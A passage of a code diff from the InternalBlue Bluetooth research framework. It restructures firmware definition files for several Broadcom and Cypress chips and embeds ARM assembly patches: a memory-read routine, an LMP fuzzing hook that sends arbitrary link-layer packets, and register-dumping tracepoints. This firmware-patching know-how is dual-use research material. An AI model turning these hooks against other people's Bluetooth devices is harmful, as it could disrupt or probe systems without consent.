str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
|
||||
|
||||
|
||||
// send LMP packet
|
||||
mov r1, r4 // load the address of the LMP packet buffer into r1.
|
||||
// r0 still contains the connection number.
|
||||
pop {r4,lr} // restore r4 and the lr
|
||||
b 0xAF4C // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0xd5030
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r1, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r2, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r2, 4 // + 'READ'
|
||||
mov r0, r2
|
||||
adds r0, #2 // r0 needs to be 2 higher than r2 in all malloc_hci_event_buffer calls
|
||||
bl 0x22C4 // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 10 // write after the length field (offset 10 in event struct)
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
|
||||
pop {r4, lr} // return
|
||||
b 0x20F4 // send_hci_event()
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x3032.py
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class BCM4364B3(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# MacBook Pro 2019-2020, UART variant, 10.15.4-5
|
||||
FW_NAME = "BCM4364B3"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0009FFFF, True, False), # Internal ROM
|
||||
#MemorySection(0x00100000, 0x0011FFFF, False, True), # Patches
|
||||
#MemorySection(0x00200000, 0x0025FFFF, False, True), # Internal Memory Cortex M3
|
||||
#MemorySection(0x00300000, 0x00307FFF, False, True),
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x100000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128 # maybe even just 64?! this is really weird for a new chip... apparently 50 slots used on 10.15.4
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
@@ -20,64 +20,70 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# iPhone 6
|
||||
FW_NAME = "BCM4345B0"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x000c07ff, True, False), # Internal ROM
|
||||
MemorySection(0x000d0000, 0x000dffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200400, 0x00201cff, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 # needs to be aligned read
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = True
|
||||
class BCM4345B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# iPhone 6
|
||||
FW_NAME = "BCM4345B0"
|
||||
|
||||
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0x215000 # there is nothing free until 0xdffff, but 0x215000 looks okay during runtime
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x000D0000, 0x000DFFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r1, 6 // + type and length + 'READ'
|
||||
bl 0x15DD4 // hci_sendEvent (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 # needs to be aligned read
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = True
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x573B8 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x581AE // osapi_blockPoolFree
|
||||
|
||||
pop {r4, pc} // return
|
||||
"""
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0x215000 # there is nothing free until 0xdffff, but 0x215000 looks okay during runtime
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r1, 6 // + type and length + 'READ'
|
||||
bl 0x15DD4 // hci_sendEvent (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x573B8 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x581AE // osapi_blockPoolFree
|
||||
|
||||
pop {r4, pc} // return
|
||||
"""
|
||||
|
||||
@@ -20,28 +20,34 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Samsung Galaxy S8
|
||||
FW_NAME = "BCM4347B0"
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x00100000, True, False), # Internal ROM
|
||||
MemorySection(0x00130000, 0x00150000, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200000, 0x0023ffff, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
class BCM4347B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Samsung Galaxy S8
|
||||
FW_NAME = "BCM4347B0"
|
||||
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x20067C # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x00100000, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x00130000, 0x00150000, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200000, 0x0023FFFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x20067C # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# fw_0x220e.py
|
||||
#
|
||||
@@ -29,13 +29,13 @@ from .fw import MemorySection
|
||||
FW_NAME = "BCM20702A2"
|
||||
|
||||
# Device Infos
|
||||
#DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
#BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x5ffff, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9bfff, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166c
|
||||
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
|
||||
]
|
||||
BLOC_HEAD = 0x3166C
|
||||
|
||||
+211
-188
@@ -2,7 +2,7 @@
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
@@ -20,202 +20,225 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from .fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920735
|
||||
FW_NAME = "CYW20735B1"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
#Heap
|
||||
BLOC_HEAD = 0x200474 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283fff, False, True), # ToRam
|
||||
MemorySection(0x00300000, 0x00307fff, False, True), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(0x00326000, 0x0032ffff, False, True), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(0x00338000, 0x00367fff, False, True), # HW Regs Cortex M3 (readable) + Pka Top
|
||||
MemorySection(0x00370000, 0x0037ffff, False, True), # RTX FIFO
|
||||
MemorySection(0x00390000, 0x00397fff, False, True), # Power WD
|
||||
#MemorySection(0x00404000, 0x00407fff, False, True), # EF Registers (seem to be sometimes unavailable)
|
||||
MemorySection(0x00410000, 0x00413fff, False, True), # BT Modem Registers
|
||||
MemorySection(0x00420000, 0x00423fff, False, True), # FM Modem Registers
|
||||
MemorySection(0x00430000, 0x00433fff, False, True), # MAC 15.4
|
||||
MemorySection(0x00440000, 0x00443fff, False, True), # SecEng Top
|
||||
MemorySection(0x00450000, 0x00453fff, False, True), # Capscan Top
|
||||
MemorySection(0x00500000, 0x006007ff, False, True), # EPM RAM (readable) + RF Regs
|
||||
MemorySection(0x00640000, 0x006407ff, False, True), # CLB Regs
|
||||
MemorySection(0x00650000, 0x006507ff, False, True), # GCI Regs
|
||||
MemorySection(0x20000000, 0x2024ffff, False, True), # SRAM
|
||||
MemorySection(0x20270000, 0x20283fff, False, True), # SRAM
|
||||
MemorySection(0x20500000, 0x200fffff, False, True), # SRAM
|
||||
MemorySection(0x22000000, 0x2226ffff, False, True), # SRAM Bits?
|
||||
|
||||
MemorySection(0x40000000, 0x40003fff, False, True), # ToRam Alias / Peripherals
|
||||
MemorySection(0x42000000, 0x4207ffff, False, True), # ToRam Bits
|
||||
#MemorySection(0x60000000, 0x60000000, False, True), # Extern BlueRF SRAM (range TBD)
|
||||
#MemorySection(0xa0000000, 0xa0000000, False, True), # Extern Device Address (range TBD)
|
||||
MemorySection(0xe0000000, 0xe0100000, False, True), # Base PPB Address
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
# Connection Struct and Table
|
||||
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
|
||||
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 # ??
|
||||
class CYW20735B1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920735
|
||||
FW_NAME = "CYW20735B1"
|
||||
|
||||
# Snippet for fuzzLmp()
|
||||
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
|
||||
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
|
||||
FUZZLMP_ASM_CODE = """
|
||||
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_B08AC,
|
||||
// so command parsing is still performed as normal. We jump in
|
||||
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
|
||||
# Device Infos
|
||||
DEVICE_NAME = (
|
||||
0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
)
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
mov r0, r6 // 4 byte alignment
|
||||
# Heap
|
||||
BLOC_HEAD = 0x200474 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
// put length argument into table_entry
|
||||
// payload[5] holds the size argument
|
||||
ldr r5, =table_entry
|
||||
add r5, #4 // length offset within table entry
|
||||
ldrb r6, [r4, #5] // size is in position r4+5
|
||||
strb r6, [r5]
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283FFF, False, True), # ToRam
|
||||
MemorySection(
|
||||
0x00300000, 0x00307FFF, False, True
|
||||
), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(
|
||||
0x00310000, 0x00321FFF, False, True
|
||||
), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(
|
||||
0x00326000, 0x0032FFFF, False, True
|
||||
), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(
|
||||
0x00338000, 0x00367FFF, False, True
|
||||
), # HW Regs Cortex M3 (readable) + Pka Top
|
||||
MemorySection(0x00370000, 0x0037FFFF, False, True), # RTX FIFO
|
||||
MemorySection(0x00390000, 0x00397FFF, False, True), # Power WD
|
||||
# MemorySection(0x00404000, 0x00407fff, False, True), # EF Registers (seem to be sometimes unavailable)
|
||||
MemorySection(0x00410000, 0x00413FFF, False, True), # BT Modem Registers
|
||||
MemorySection(0x00420000, 0x00423FFF, False, True), # FM Modem Registers
|
||||
MemorySection(0x00430000, 0x00433FFF, False, True), # MAC 15.4
|
||||
MemorySection(0x00440000, 0x00443FFF, False, True), # SecEng Top
|
||||
MemorySection(0x00450000, 0x00453FFF, False, True), # Capscan Top
|
||||
MemorySection(
|
||||
0x00500000, 0x006007FF, False, True
|
||||
), # EPM RAM (readable) + RF Regs
|
||||
MemorySection(0x00640000, 0x006407FF, False, True), # CLB Regs
|
||||
MemorySection(0x00650000, 0x006507FF, False, True), # GCI Regs
|
||||
MemorySection(0x20000000, 0x2024FFFF, False, True), # SRAM
|
||||
MemorySection(0x20270000, 0x20283FFF, False, True), # SRAM
|
||||
MemorySection(0x20500000, 0x200FFFFF, False, True), # SRAM
|
||||
MemorySection(0x22000000, 0x2226FFFF, False, True), # SRAM Bits?
|
||||
MemorySection(0x40000000, 0x40003FFF, False, True), # ToRam Alias / Peripherals
|
||||
MemorySection(0x42000000, 0x4207FFFF, False, True), # ToRam Bits
|
||||
# MemorySection(0x60000000, 0x60000000, False, True), # Extern BlueRF SRAM (range TBD)
|
||||
# MemorySection(0xa0000000, 0xa0000000, False, True), # Extern Device Address (range TBD)
|
||||
MemorySection(0xE0000000, 0xE0100000, False, True), # Base PPB Address
|
||||
]
|
||||
|
||||
// we need to do the original pop...
|
||||
pop {r4-r6, lr}
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = Address(0x310000)
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
// now we simply continue like the original DHM_LMPTx_3453E function
|
||||
cmp r1, #0
|
||||
itt eq
|
||||
moveq r0, #4
|
||||
bxeq lr
|
||||
push {r4-r10, lr} // code at 0x34546
|
||||
mov r7, r0
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0x1425BC
|
||||
HCI_EVENT_COMPLETE = 0x24E66
|
||||
|
||||
// part of the check if hook_LMP_TxFilter is installed
|
||||
ldr r0, =0x203144 //dhmAvLinkAutoDetectEnable
|
||||
mov r4, r1
|
||||
ldr r2, [r0, #12]
|
||||
//cbz r2, loc_34564
|
||||
# Connection Struct and Table
|
||||
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
|
||||
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 # ??
|
||||
|
||||
ldr.w r8, [r7] // code at 0x34564
|
||||
mov r0, r8
|
||||
bl 0x93E60 // rm_getDHMAclPtr
|
||||
movs r5, r0
|
||||
// skip check if we actually got a ptr
|
||||
// continue at 0x3457A
|
||||
ldrb r0, [r4, #12]
|
||||
tst.w r0, #0xfe // test for extended op ...
|
||||
add.w r0, r3, #0xc
|
||||
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x2829AC)
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_86A82 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
# Snippet for fuzzLmp()
|
||||
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
|
||||
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
|
||||
FUZZLMP_ASM_CODE = """
|
||||
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_B08AC,
|
||||
// so command parsing is still performed as normal. We jump in
|
||||
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
|
||||
|
||||
mov r0, r6 // 4 byte alignment
|
||||
|
||||
// put length argument into table_entry
|
||||
// payload[5] holds the size argument
|
||||
ldr r5, =table_entry
|
||||
add r5, #4 // length offset within table entry
|
||||
ldrb r6, [r4, #5] // size is in position r4+5
|
||||
strb r6, [r5]
|
||||
|
||||
// we need to do the original pop...
|
||||
pop {r4-r6, lr}
|
||||
|
||||
// now we simply continue like the original DHM_LMPTx_3453E function
|
||||
cmp r1, #0
|
||||
itt eq
|
||||
moveq r0, #4
|
||||
bxeq lr
|
||||
push {r4-r10, lr} // code at 0x34546
|
||||
mov r7, r0
|
||||
|
||||
// part of the check if hook_LMP_TxFilter is installed
|
||||
ldr r0, =0x203144 //dhmAvLinkAutoDetectEnable
|
||||
mov r4, r1
|
||||
ldr r2, [r0, #12]
|
||||
//cbz r2, loc_34564
|
||||
|
||||
ldr.w r8, [r7] // code at 0x34564
|
||||
mov r0, r8
|
||||
bl 0x93E60 // rm_getDHMAclPtr
|
||||
movs r5, r0
|
||||
// skip check if we actually got a ptr
|
||||
// continue at 0x3457A
|
||||
ldrb r0, [r4, #12]
|
||||
tst.w r0, #0xfe // test for extended op ...
|
||||
add.w r0, r3, #0xc
|
||||
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_86A82 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
|
||||
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
|
||||
b 0x3458A
|
||||
|
||||
.align
|
||||
table_entry:
|
||||
.byte 0x40 //lm_LmpUnsupportedPdu
|
||||
.byte 0x6A
|
||||
.byte 0x08
|
||||
.byte 0x00
|
||||
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
"""
|
||||
|
||||
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
|
||||
b 0x3458A
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00218500
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00218700
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x28794 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
.align
|
||||
table_entry:
|
||||
.byte 0x40 //lm_LmpUnsupportedPdu
|
||||
.byte 0x6A
|
||||
.byte 0x08
|
||||
.byte 0x00
|
||||
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
"""
|
||||
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00218500
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00218700
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x28794 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x2DEF4 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
